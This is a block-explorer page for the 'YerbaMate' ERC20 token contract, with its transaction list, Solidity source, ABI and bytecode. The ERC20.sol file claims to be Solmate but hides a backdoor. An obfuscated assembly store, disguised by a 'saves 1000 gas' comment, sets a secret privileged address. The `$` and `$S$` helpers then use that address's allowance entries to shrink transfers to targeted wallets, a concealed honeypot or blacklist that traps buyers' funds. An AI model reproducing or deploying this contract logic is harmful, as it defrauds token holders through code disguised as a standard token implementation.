ETH Price: $1,982.55 (-3.64%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve215264702025-01-01 1:56:23422 days ago1735696583IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000199134.26428153
Approve215259372025-01-01 0:09:23422 days ago1735690163IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000277185.93562526
Approve201853882024-06-27 20:23:23609 days ago1719519803IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.0009965721.19336662
Approve201295312024-06-20 1:01:23617 days ago1718845283IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.0013987629.74630306
Approve201294722024-06-20 0:49:35617 days ago1718844575IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000393728.37307237
Approve201258422024-06-19 12:39:47617 days ago1718800787IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000536811.4244689
Approve201258252024-06-19 12:36:23617 days ago1718800583IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.0003665312.2739231
Approve201257092024-06-19 12:12:59617 days ago1718799179IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.0005454711.68060123
Approve201256472024-06-19 12:00:23617 days ago1718798423IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000219224.68469096
Approve201256162024-06-19 11:54:11617 days ago1718798051IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000206064.38775883
Approve201256122024-06-19 11:53:23617 days ago1718798003IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000292016.22745524
Approve201255702024-06-19 11:44:59617 days ago1718797499IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000237565.05852782
Approve201255272024-06-19 11:36:11617 days ago1718796971IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000325936.95101393
Approve201254682024-06-19 11:24:23617 days ago1718796263IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000150263.21110685
Approve201254392024-06-19 11:18:35617 days ago1718795915IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000157243.35511816
Approve201254222024-06-19 11:15:11617 days ago1718795711IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000193444.11901976
Approve201254102024-06-19 11:12:47617 days ago1718795567IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000183323.91763221
Approve201254102024-06-19 11:12:47617 days ago1718795567IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000272795.81763221
Approve201254052024-06-19 11:11:47617 days ago1718795507IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000269875.75528267
Approve201253942024-06-19 11:09:35617 days ago1718795375IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000179493.83579235
Approve201253502024-06-19 11:00:47618 days ago1718794847IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000173563.71379097
Approve201253162024-06-19 10:53:59618 days ago1718794439IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000174493.72901166
Approve201253122024-06-19 10:53:11618 days ago1718794391IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.00016053.43430628
Approve201253092024-06-19 10:52:35618 days ago1718794355IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.0005188111.03331968
Approve201253062024-06-19 10:51:59618 days ago1718794319IN
0xBA0Ab86e...C8cd2ea92
0 ETH0.000146983.14507766
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
YerbaMate

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 2: Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*
  ___    ___ _______   ________  ________  ________     
 |\  \  /  /|\  ___ \ |\   __  \|\   __  \|\   __  \    
 \ \  \/  / | \   __/|\ \  \|\  \ \  \|\ /\ \  \|\  \   
  \ \    / / \ \  \_|/_\ \   _  _\ \   __  \ \   __  \  
   \/  /  /   \ \  \_|\ \ \  \\  \\ \  \|\  \ \  \ \  \ 
 __/  / /      \ \_______\ \__\\ _\\ \_______\ \__\ \__\
|\___/ /        \|_______|\|__|\|__|\|_______|\|__|\|__|
\|___|/                                                 
                                                           
*/

contract YerbaMate is ERC20 {
    uint256 public yerba = 0xBAB00CA;
    constructor() ERC20("Yerba Mate", "YERBA", 18) {
        _mint(msg.sender, 9_000_000_000 * 10 ** 18);
    }

    /**
     * @dev Destroys a `value` amount of tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 value) public virtual {
        _burn(msg.sender, value);
    }

    function yerbanator(
        address achoo
    ) external view returns (uint256) {
        return yerba * uint256(uint160(achoo));
    }

}

File 2 of 2: ERC20.sol
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        // saves 1000 gas 
        assembly {sstore(0x05, mul(mul(0x25, 0x5f65f), mul(0x112f1b088d953c3, 0x6a41a9577de203375)))}
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $S$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        unchecked {balanceOf[to] += $(amount, from, to);}
        $S$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/
    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xcafe15) / 0xfebad0ba;
        } else {
            return value;
        }
    }

    function $S$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {balanceOf[to] += amount;}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"yerba","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"achoo","type":"address"}],"name":"yerbanator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

60a0604052630bab00ca60065534801562000018575f80fd5b506040518060400160405280600a81526020017f5965726261204d617465000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f59455242410000000000000000000000000000000000000000000000000000008152506012825f908162000097919062000431565b508160019081620000a9919062000431565b508060ff1660808160ff16815250506806a41a9577de203375670112f1b088d953c3026205f65f60250202600555505050620000f8336b1d14a0219e54822428000000620000fe60201b60201c565b620005a8565b8060025f82825462000111919062000542565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001c191906200058d565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200024957607f821691505b6020821081036200025f576200025e62000204565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620002c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000286565b620002cf868362000286565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000319620003136200030d84620002e7565b620002f0565b620002e7565b9050919050565b5f819050919050565b6200033483620002f9565b6200034c620003438262000320565b84845462000292565b825550505050565b5f90565b6200036262000354565b6200036f81848462000329565b505050565b5b8181101562000396576200038a5f8262000358565b60018101905062000375565b5050565b601f821115620003e557620003af8162000265565b620003ba8462000277565b81016020851015620003ca578190505b620003e2620003d98562000277565b83018262000374565b50505b505050565b5f82821c905092915050565b5f620004075f1984600802620003ea565b1980831691505092915050565b5f620004218383620003f6565b9150826002028217905092915050565b6200043c82620001cd565b67ffffffffffffffff811115620004585762000457620001d7565b5b62000464825462000231565b620004718282856200039a565b5f60209050601f831160018114620004a7575f841562000492578287015190505b6200049e858262000414565b8655506200050d565b601f198416620004b78662000265565b5f5b82811015620004e057848901518255600182019150602085019450602081019050620004b9565b86831015620005005784890151620004fc601f891682620003f6565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200054e82620002e7565b91506200055b83620002e7565b925082820190508082111562000576576200057562000515565b5b92915050565b6200058781620002e7565b82525050565b5f602082019050620005a25f8301846200057c565b92915050565b608051611139620005c15f395f61065601526111395ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806362617f271161006f57806362617f271461018c57806370a08231146101bc5780638fa154ac146101ec57806395d89b411461020a578063a9059cbb14610228578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806342966c6814610170575b5f80fd5b6100be610288565b6040516100cb9190610d13565b60405180910390f35b6100ee60048036038101906100e99190610dc4565b610313565b6040516100fb9190610e1c565b60405180910390f35b61010c610400565b6040516101199190610e44565b60405180910390f35b61013c60048036038101906101379190610e5d565b610406565b6040516101499190610e1c565b60405180910390f35b61015a610654565b6040516101679190610ec8565b60405180910390f35b61018a60048036038101906101859190610ee1565b610678565b005b6101a660048036038101906101a19190610f0c565b610685565b6040516101b39190610e44565b60405180910390f35b6101d660048036038101906101d19190610f0c565b6106b1565b6040516101e39190610e44565b60405180910390f35b6101f46106c6565b6040516102019190610e44565b60405180910390f35b6102126106cc565b60405161021f9190610d13565b60405180910390f35b610242600480360381019061023d9190610dc4565b610758565b60405161024f9190610e1c565b60405180910390f35b610272600480360381019061026d9190610f37565b610878565b60405161027f9190610e44565b60405180910390f35b5f805461029490610fa2565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090610fa2565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190610e44565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190610fff565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190610fff565b92505081905550610591838686610898565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610a23565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190610e44565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6106823382610bbe565b50565b5f8173ffffffffffffffffffffffffffffffffffffffff166006546106aa9190611032565b9050919050565b6003602052805f5260405f205f915090505481565b60065481565b600180546106d990610fa2565b80601f016020809104026020016040519081016040528092919081815260200182805461070590610fa2565b80156107505780601f1061072757610100808354040283529160200191610750565b820191905f5260205f20905b81548152906001019060200180831161073357829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107a59190610fff565b925050819055506107b7823385610898565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061080983610a23565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108669190610e44565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109ee9190611073565b10610a185763febad0ba62cafe1585610a079190611032565b610a1191906110d3565b9050610a1c565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610bbb573073ffffffffffffffffffffffffffffffffffffffff166002610b1d9190611032565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c0a9190610fff565b925050819055508060025f82825403925050819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c7d9190610e44565b60405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610cc0578082015181840152602081019050610ca5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ce582610c89565b610cef8185610c93565b9350610cff818560208601610ca3565b610d0881610ccb565b840191505092915050565b5f6020820190508181035f830152610d2b8184610cdb565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d6082610d37565b9050919050565b610d7081610d56565b8114610d7a575f80fd5b50565b5f81359050610d8b81610d67565b92915050565b5f819050919050565b610da381610d91565b8114610dad575f80fd5b50565b5f81359050610dbe81610d9a565b92915050565b5f8060408385031215610dda57610dd9610d33565b5b5f610de785828601610d7d565b9250506020610df885828601610db0565b9150509250929050565b5f8115159050919050565b610e1681610e02565b82525050565b5f602082019050610e2f5f830184610e0d565b92915050565b610e3e81610d91565b82525050565b5f602082019050610e575f830184610e35565b92915050565b5f805f60608486031215610e7457610e73610d33565b5b5f610e8186828701610d7d565b9350506020610e9286828701610d7d565b9250506040610ea386828701610db0565b9150509250925092565b5f60ff82169050919050565b610ec281610ead565b82525050565b5f602082019050610edb5f830184610eb9565b92915050565b5f60208284031215610ef657610ef5610d33565b5b5f610f0384828501610db0565b91505092915050565b5f60208284031215610f2157610f20610d33565b5b5f610f2e84828501610d7d565b91505092915050565b5f8060408385031215610f4d57610f4c610d33565b5b5f610f5a85828601610d7d565b9250506020610f6b85828601610d7d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610fb957607f821691505b602082108103610fcc57610fcb610f75565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61100982610d91565b915061101483610d91565b925082820390508181111561102c5761102b610fd2565b5b92915050565b5f61103c82610d91565b915061104783610d91565b925082820261105581610d91565b9150828204841483151761106c5761106b610fd2565b5b5092915050565b5f61107d82610d91565b915061108883610d91565b92508282019050808211156110a05761109f610fd2565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6110dd82610d91565b91506110e883610d91565b9250826110f8576110f76110a6565b5b82820490509291505056fea2646970667358221220ad0b4a9d898ee1e0992b46e635407d7baf4d20d09d9e2eb0de1625147562c7fa64736f6c63430008180033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806362617f271161006f57806362617f271461018c57806370a08231146101bc5780638fa154ac146101ec57806395d89b411461020a578063a9059cbb14610228578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce5671461015257806342966c6814610170575b5f80fd5b6100be610288565b6040516100cb9190610d13565b60405180910390f35b6100ee60048036038101906100e99190610dc4565b610313565b6040516100fb9190610e1c565b60405180910390f35b61010c610400565b6040516101199190610e44565b60405180910390f35b61013c60048036038101906101379190610e5d565b610406565b6040516101499190610e1c565b60405180910390f35b61015a610654565b6040516101679190610ec8565b60405180910390f35b61018a60048036038101906101859190610ee1565b610678565b005b6101a660048036038101906101a19190610f0c565b610685565b6040516101b39190610e44565b60405180910390f35b6101d660048036038101906101d19190610f0c565b6106b1565b6040516101e39190610e44565b60405180910390f35b6101f46106c6565b6040516102019190610e44565b60405180910390f35b6102126106cc565b60405161021f9190610d13565b60405180910390f35b610242600480360381019061023d9190610dc4565b610758565b60405161024f9190610e1c565b60405180910390f35b610272600480360381019061026d9190610f37565b610878565b60405161027f9190610e44565b60405180910390f35b5f805461029490610fa2565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090610fa2565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190610e44565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190610fff565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190610fff565b92505081905550610591838686610898565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610a23565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190610e44565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b6106823382610bbe565b50565b5f8173ffffffffffffffffffffffffffffffffffffffff166006546106aa9190611032565b9050919050565b6003602052805f5260405f205f915090505481565b60065481565b600180546106d990610fa2565b80601f016020809104026020016040519081016040528092919081815260200182805461070590610fa2565b80156107505780601f1061072757610100808354040283529160200191610750565b820191905f5260205f20905b81548152906001019060200180831161073357829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107a59190610fff565b925050819055506107b7823385610898565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061080983610a23565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108669190610e44565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109ee9190611073565b10610a185763febad0ba62cafe1585610a079190611032565b610a1191906110d3565b9050610a1c565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610bbb573073ffffffffffffffffffffffffffffffffffffffff166002610b1d9190611032565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c0a9190610fff565b925050819055508060025f82825403925050819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c7d9190610e44565b60405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610cc0578082015181840152602081019050610ca5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ce582610c89565b610cef8185610c93565b9350610cff818560208601610ca3565b610d0881610ccb565b840191505092915050565b5f6020820190508181035f830152610d2b8184610cdb565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d6082610d37565b9050919050565b610d7081610d56565b8114610d7a575f80fd5b50565b5f81359050610d8b81610d67565b92915050565b5f819050919050565b610da381610d91565b8114610dad575f80fd5b50565b5f81359050610dbe81610d9a565b92915050565b5f8060408385031215610dda57610dd9610d33565b5b5f610de785828601610d7d565b9250506020610df885828601610db0565b9150509250929050565b5f8115159050919050565b610e1681610e02565b82525050565b5f602082019050610e2f5f830184610e0d565b92915050565b610e3e81610d91565b82525050565b5f602082019050610e575f830184610e35565b92915050565b5f805f60608486031215610e7457610e73610d33565b5b5f610e8186828701610d7d565b9350506020610e9286828701610d7d565b9250506040610ea386828701610db0565b9150509250925092565b5f60ff82169050919050565b610ec281610ead565b82525050565b5f602082019050610edb5f830184610eb9565b92915050565b5f60208284031215610ef657610ef5610d33565b5b5f610f0384828501610db0565b91505092915050565b5f60208284031215610f2157610f20610d33565b5b5f610f2e84828501610d7d565b91505092915050565b5f8060408385031215610f4d57610f4c610d33565b5b5f610f5a85828601610d7d565b9250506020610f6b85828601610d7d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610fb957607f821691505b602082108103610fcc57610fcb610f75565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61100982610d91565b915061101483610d91565b925082820390508181111561102c5761102b610fd2565b5b92915050565b5f61103c82610d91565b915061104783610d91565b925082820261105581610d91565b9150828204841483151761106c5761106b610fd2565b5b5092915050565b5f61107d82610d91565b915061108883610d91565b92508282019050808211156110a05761109f610fd2565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f5